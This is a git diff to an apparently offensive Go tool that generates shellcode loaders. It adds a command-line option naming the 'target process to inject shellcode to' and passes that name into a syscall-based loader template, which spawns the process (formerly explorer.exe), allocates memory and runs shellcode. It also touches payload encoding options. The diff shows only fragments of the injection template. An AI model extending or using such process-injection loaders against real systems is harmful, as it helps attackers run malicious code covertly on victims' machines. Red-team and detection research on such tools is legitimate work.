diff --git a/.gitignore b/.gitignore
@@ -3,6 +3,7 @@
# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
#
# Binaries for programs and plugins
+*.bin
*.exe
*.exe~
*.dll
diff --git a/cli/parser.go b/cli/parser.go
@@ -92,7 +92,7 @@ func GetParser(opts *Options) *cobra.Command {
}
/* TODO: add support for more exec templates */
- err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetSyscallTemplate())
+ err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetSyscallTemplate(opts.Target))
os.Setenv("GOOS", opts.OS)
os.Setenv("GOARCH", opts.arch)
@@ -115,6 +115,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.Outdir, "outdir", "f", defaults.Outdir, "output directory")
cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
+ cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -4,7 +4,7 @@ import (
"fmt"
)
-func GetSyscallTemplate() string {
+func GetSyscallTemplate(targetProcess string) string {
return fmt.Sprintf(`
package main
@@ -96,7 +96,7 @@ func loadProcess(target string) *syscall.ProcessInformation {
func ExecuteOrderSixtySix(shellcode []byte) {
/* spawn target process */
- process := loadProcess("explorer.exe")
+ process := loadProcess("%s")
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
@@ -147,5 +147,5 @@ func ExecuteOrderSixtySix(shellcode []byte) {
os.Exit(1)
}
}
- `)
+ `, targetProcess)
}
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -16,11 +16,11 @@ type BytesEncodingType string
const (
EncodingBase64 BytesEncodingType = "base64"
EncodingBase32 BytesEncodingType = "base32"
- // EncodingHex BytesEncodingType = "hex" FIXME(djnn): update main template to support this
+ EncodingHex BytesEncodingType = "hex" // FIXME(djnn): update main template to support this
)
// / Available encodings type
-var Encodings = [3]string{"base64", "base32"}
+var Encodings = [2]string{"base64", "base32"}
// String is used both by fmt.Print and by Cobra in help text
func (e *BytesEncodingType) String() string {
| | | |